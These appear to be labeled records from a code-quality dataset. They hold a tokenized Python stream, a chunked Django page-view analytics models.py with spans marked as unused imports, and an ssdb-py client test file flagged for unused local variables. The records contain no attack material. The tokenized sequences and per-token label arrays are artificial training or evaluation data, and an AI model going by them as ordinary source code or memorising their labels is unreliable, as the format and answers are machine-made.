"\\u\\u\\uINDENT\\u\\u\\u ", " _", "collection_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "parent_", "._", "on", "Except", "ion", "Rai", "se", "Exit_", "(_", "rais", "able", "\\u", "exceptions_", ",_", "collection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Loop", "Break", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "get", "Loop", "Break", "Collections", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Loop", "Continu", "e", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "get", "Loop", "Continu", "e", "Collections", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Function", "Return", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "get", "Function", "Return", "Collections", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Except", "ion", "Rai", "se", "Collections", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "get", "Except", "ion", "Rai", "se", "Collections", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Abo", "rt", "Stack", "Context_", "(_", "self_", ",_", "catch", "\\u", "breaks_", ",_", "catch", "\\u", "continue", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "returns_", ",_", "catch", "\\u", "exceptions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "parent_", "._", "make", "Abo", "rt", "Stack", "Context_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "breaks_", "=_", "catch", "\\u", "breaks_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "continue", "s_", "=_", "catch", "\\u", "continue", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "returns_", "=_", "catch", "\\u", "returns_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "catch", "\\u", "exceptions_", "=_", "catch", "\\u", "exceptions_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Constr", "aint", "Collecti", "on", "Base_", "(_", "Collecti", "on", "Trac", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Compil", "e", "Time", "Computation", "Result_", "(_", "self_", ",_", "node_", ",_", "computation", "_", ",_", "description_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "node_", ",_", "change", "\\u", "tags_", ",_", "message_", "=_", "get", "Computation", "Result_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "=_", "node_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "computation", "_", "=_", "computation", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "description_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "change", "\\u", "tags_", "==_", "\"", "new", "\\u", "raise", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "on", "Except", "ion", "Rai", "se", "Exit_", "(_", "Base", "Exception_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "node_", ",_", "change", "\\u", "tags_", ",_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Constr", "aint", "Collecti", "on", "Function_", "(_", "Collecti", "on", "Start", "point", "Mixin_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Base_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Varia", "ble", "Us", "age", "Track", "ing", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Constr", "aint", "Collecti", "on", "Module_", "(_", "Collecti", "on", "Start", "point", "Mixin_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Constr", "aint", "Collecti", "on", "Base_", ",_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ytics/models.py
[ { "content": "\nfrom django.conf import settings\nfrom django.contrib.contenttypes.fields import GenericForeignKey, GenericRelation\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.urlresolvers import reverse\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom videos.models import Video, Category\nfrom .signals import page_view\n\n\n\n\n\n\n\n\n\n\n\npage_view.connect(page_view_received)", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class PageViewQuerySet(models.query.QuerySet):\n", "metadata": "root.PageViewQuerySet", "header": "['module', '___EOS___']", "index": 12 }, { "content": "\tdef videos(self):\n\t\tcontent_type = ContentType.objects.get_for_model(Video)\n\t\treturn self.filter(primary_content_type=content_type)", "metadata": "root.PageViewQuerySet.videos", "header": "['class', 'PageViewQuerySet', '(', 'models', '.', 'query', '.', 'QuerySet', ')', ':', '___EOS___']", "index": 13 }, { "content": "\tdef categories(self):\n\t\tcontent_type = ContentType.objects.get_for_model(Category)\n\t\treturn self.filter(primary_content_type=content_type)", "metadata": "root.PageViewQuerySet.categories", "header": "['class', 'PageViewQuerySet', '(', 'models', '.', 'query', '.', 'QuerySet', ')', ':', '___EOS___']", "index": 17 }, { "content": "class PageViewManager(models.Manager):\n\n", "metadata": "root.PageViewManager", "header": "['module', '___EOS___']", "index": 22 }, { "content": "\tdef get_queryset(self):\n\t\treturn PageViewQuerySet(self.model, using=self._db)", "metadata": "root.PageViewManager.get_queryset", "header": "['class', 'PageViewManager', '(', 'models', '.', 'Manager', ')', ':', '___EOS___']", "index": 23 }, { "content": "\tdef get_videos(self):\n\t\treturn self.get_queryset().videos()", "metadata": "root.PageViewManager.get_videos", "header": "['class', 'PageViewManager', '(', 'models', '.', 'Manager', ')', ':', '___EOS___']", "index": 26 }, { "content": "\tdef get_categories(self):\n\t\treturn self.get_queryset().categories()", "metadata": "root.PageViewManager.get_categories", "header": "['class', 'PageViewManager', '(', 'models', '.', 'Manager', ')', ':', '___EOS___']", "index": 29 }, { "content": "class PageView(models.Model):\n\tpath = models.CharField(max_length=350)\n\tuser = models.ForeignKey(settings.AUTH_USER_MODEL, null=True, blank=True)\n\tprimary_content_type = models.ForeignKey(ContentType, related_name='primary_obj',\\\n\t\t\t\t\t\t\t\t\t\t\tnull=True, blank=True)\n\tprimary_object_id = models.PositiveIntegerField(null=True, blank=True)\n\tprimary_object = GenericForeignKey(\"primary_content_type\", \"primary_object_id\")\n\n\tsecondary_content_type = models.ForeignKey(ContentType, related_name='secondary_obj',\\\n\t\t\t\t\t\t\t\tnull=True, blank=True)\n\tsecondary_object_id = models.PositiveIntegerField(null=True, blank=True)\n\tsecondary_object = GenericForeignKey(\"secondary_content_type\", \"secondary_object_id\")\n\n\ttimestamp = models.DateTimeField(default=timezone.now())\n\n\tobjects = PageViewManager()\n\n\n\tclass Meta:\n\t\tordering = ['-timestamp']", "metadata": "root.PageView", "header": "['module', '___EOS___']", "index": 33 }, { "content": "\tdef __unicode__(self):\n\t\treturn self.path", "metadata": "root.PageView.__unicode__", "header": "['class', 'PageView', '(', 'models', '.', 'Model', ')', ':', '___EOS___']", "index": 50 }, { "content": "def page_view_received(sender, **kwargs):\n\tkwargs.pop('signal', None)\n\tpage_path = kwargs.pop('page_path')\n\tprimary_obj = kwargs.pop('primary_obj', None)\n\tsecondary_obj = kwargs.pop('secondary_obj', None)\n\tprint secondary_obj\n\tuser = sender\n\tif not user.is_authenticated():\n\t\tnew_page_view = PageView.objects.create(path=page_path, timestamp=timezone.now())\n\telse:\n\t\tnew_page_view = PageView.objects.create(path=page_path, user=user, timestamp=timezone.now())\n\tif primary_obj:\n\t\tnew_page_view.primary_object_id = primary_obj.id\n\t\tnew_page_view.primary_content_type = ContentType.objects.get_for_model(primary_obj)\n\t\tnew_page_view.save()\n\tif secondary_obj:\n\t\tnew_page_view.secondary_object_id = secondary_obj.id\n\t\tnew_page_view.secondary_content_type = ContentType.objects.get_for_model(secondary_obj)\n\t\tnew_page_view.save()", "metadata": "root.page_view_received", "header": "['module', '___EOS___']", "index": 57 } ]
[ { "span": "from django.contrib.contenttypes.fields import GenericForeignKey, GenericRelation", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 81 }, { "span": "from django.core.urlresolvers import reverse", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "fields_", "import_", "Gene", "ric", "Fore", "ign", "Key_", ",_", "Gene", "ric", "Relation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "models_", "import_", "Conten", "t", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "import_", "timezone_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "videos_", "._", "models_", "import_", "Video_", ",_", "Category_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "signals_", "import_", "page", "\\u", "view_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page", "\\u", "view_", "._", "connect_", "(_", "page", "\\u", "view", "\\u", "received_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Page", "View", "Query", "Set_", "(_", "models_", "._", "query_", "._", "Query", "Set_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Page", "View", "Query", "Set_", "(_", "models_", "._", "query_", "._", "Query", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "videos_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "content", "\\u", "type_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "Video_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "filter_", "(_", "primary", "\\u", "content", "\\u", "type_", "=_", "content", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page", "View", "Query", "Set_", "(_", "models_", "._", "query_", "._", "Query", "Set_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "categories_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "content", "\\u", "type_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "Category_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "filter_", "(_", "primary", "\\u", "content", "\\u", "type_", "=_", "content", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Page", "View", "Manager_", "(_", "models_", "._", "Manager_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Page", "View", "Manager_", "(_", "models_", "._", "Manager_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "get", "\\u", "queryset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "Page", "View", "Query", "Set_", "(_", "self_", "._", "model_", ",_", "using_", "=_", "self_", "._", "\\u", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page", "View", "Manager_", "(_", "models_", "._", "Manager_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "videos_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "self_", "._", "get", "\\u", "queryset_", "(_", ")_", "._", "videos_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page", "View", "Manager_", "(_", "models_", "._", "Manager_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "categories_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "self_", "._", "get", "\\u", "queryset_", "(_", ")_", "._", "categories_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Page", "View_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "path_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "350_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "settings_", "._", "AUTH", "\\u", "USER", "\\u", "MODEL_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "primary", "\\u", "content", "\\u", "type_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Conten", "t", "Type_", ",_", "relate", "d\\u", "name_", "=_", "'", "primary", "\\u", "obj", "'_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "primary", "\\u", "object\\u", "id_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "primary", "\\u", "object_", "=_", "Gene", "ric", "Fore", "ign", "Key_", "(_", "\"", "primary", "\\u", "content", "\\u", "type", "\"_", ",_", "\"", "primary", "\\u", "object\\u", "id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "second", "ary", "\\u", "content", "\\u", "type_", "=_", "models_", "._", "Fore", "ign", "Key_", "(_", "Conten", "t", "Type_", ",_", "relate", "d\\u", "name_", "=_", "'", "second", "ary", "\\u", "obj", "'_", ",_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "second", "ary", "\\u", "object\\u", "id_", "=_", "models_", "._", "Posi", "tiv", "e", "Integer", "Field_", "(_", "null_", "=_", "True_", ",_", "blank_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "second", "ary", "\\u", "object_", "=_", "Gene", "ric", "Fore", "ign", "Key_", "(_", "\"", "second", "ary", "\\u", "content", "\\u", "type", "\"_", ",_", "\"", "second", "ary", "\\u", "object\\u", "id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "timestamp_", "=_", "models_", "._", "Date", "Time", "Field_", "(_", "default_", "=_", "timezone_", "._", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "objects_", "=_", "Page", "View", "Manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "ordering_", "=_", "[_", "'-", "timestamp", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Page", "View_", "(_", "models_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "self_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "page", "\\u", "view", "\\u", "received_", "(_", "sender_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "kwargs_", "._", "pop_", "(_", "'", "signal", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "path_", "=_", "kwargs_", "._", "pop_", "(_", "'", "page", "\\u", "path", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "primary", "\\u", "obj_", "=_", "kwargs_", "._", "pop_", "(_", "'", "primary", "\\u", "obj", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "second", "ary", "\\u", "obj_", "=_", "kwargs_", "._", "pop_", "(_", "'", "second", "ary", "\\u", "obj", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "second", "ary", "\\u", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "sender_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "new", "\\u", "page", "\\u", "view_", "=_", "Page", "View_", "._", "objects_", "._", "create_", "(_", "path_", "=_", "page", "\\u", "path_", ",_", "timestamp_", "=_", "timezone_", "._", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "new", "\\u", "page", "\\u", "view_", "=_", "Page", "View_", "._", "objects_", "._", "create_", "(_", "path_", "=_", "page", "\\u", "path_", ",_", "user_", "=_", "user_", ",_", "timestamp_", "=_", "timezone_", "._", "now_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "primary", "\\u", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "new", "\\u", "page", "\\u", "view_", "._", "primary", "\\u", "object\\u", "id_", "=_", "primary", "\\u", "obj_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "page", "\\u", "view_", "._", "primary", "\\u", "content", "\\u", "type_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "primary", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "page", "\\u", "view_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "second", "ary", "\\u", "obj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "new", "\\u", "page", "\\u", "view_", "._", "second", "ary", "\\u", "object\\u", "id_", "=_", "second", "ary", "\\u", "obj_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "page", "\\u", "view_", "._", "second", "ary", "\\u", "content", "\\u", "type_", "=_", "Conten", "t", "Type_", "._", "objects_", "._", "get", "\\u", "for", "\\u", "model_", "(_", "second", "ary", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "page", "\\u", "view_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
wrongwaycn/ssdb-py/tests/test_client.py
[ { "content": " @raises(ValueError)\n def test_incr(self):\n a = self.client.delete('incr0')\n assert_true(a) \n a = self.client.set('incr0',10)\n assert_true(a)\n a = self.client.get('incr0')\n assert_equals(a,'10')\n a = self.client.incr('incr0',2)\n assert_equals(a,12)\n a = self.client.incr('incr0',-2)\n assert_equals(a,10) \n b = self.client.get('incr0')\n assert_equals(int(b),a)\n a = self.client.delete('incr0')\n assert_true(a) \n c = self.client.incr('incr0', 'abc')", "metadata": "root.TestClient.test_incr", "header": "['class', 'TestClient', '(', 'object', ')', ':', '___EOS___']", "index": 118 }, { "content": " @raises(ValueError)\n def test_decr(self):\n a = self.client.delete('decr0')\n assert_true(a) \n a = self.client.set('decr0',10)\n assert_true(a)\n a = self.client.get('decr0')\n assert_equals(a,'10')\n a = self.client.decr('decr0',3)\n assert_equals(a,7)\n b = self.client.get('decr0')\n assert_equals(int(b),a)\n a = self.client.delete('decr0')\n assert_true(a) \n c = self.client.decr('decr0', -2)", "metadata": "root.TestClient.test_decr", "header": "['class', 'TestClient', '(', 'object', ')', ':', '___EOS___']", "index": 136 }, { "content": " def test_hdel(self):\n a = self.client.hset('test_hdel', 'keya', 'abc123')\n assert_true(a)\n a = self.client.hset('test_hdel', 'keyb', 'def456')\n assert_true(a)\n e = self.client.hexists('test_hdel', 'keya')\n assert_true(e)\n e = self.client.hexists('test_hdel', 'keyb')\n assert_true(e)\n b = self.client.hexists('test_hdel', 'keyc')\n assert_false(b) \n b = self.client.hdel('test_hdel', 'keya')\n assert_true(b)\n b = self.client.hdel('test_hdel', 'keyb')\n assert_true(b)\n b = self.client.hexists('test_hdel', 'keyb')\n assert_false(b) \n c = self.client.hget('test_hdel', 'keya')\n assert_is_none(c)\n b = self.client.hget('test_hdel', 'keyb')\n assert_is_none(c)\n #d = self.client.hclear('test_hdel')\n #assert_false(d)", "metadata": "root.TestClient.test_hdel", "header": "['class', 'TestClient', '(', 'object', ')', ':', '___EOS___']", "index": 295 }, { "content": " def test_hgetall(self):\n self.client.hclear('test_hgetall') 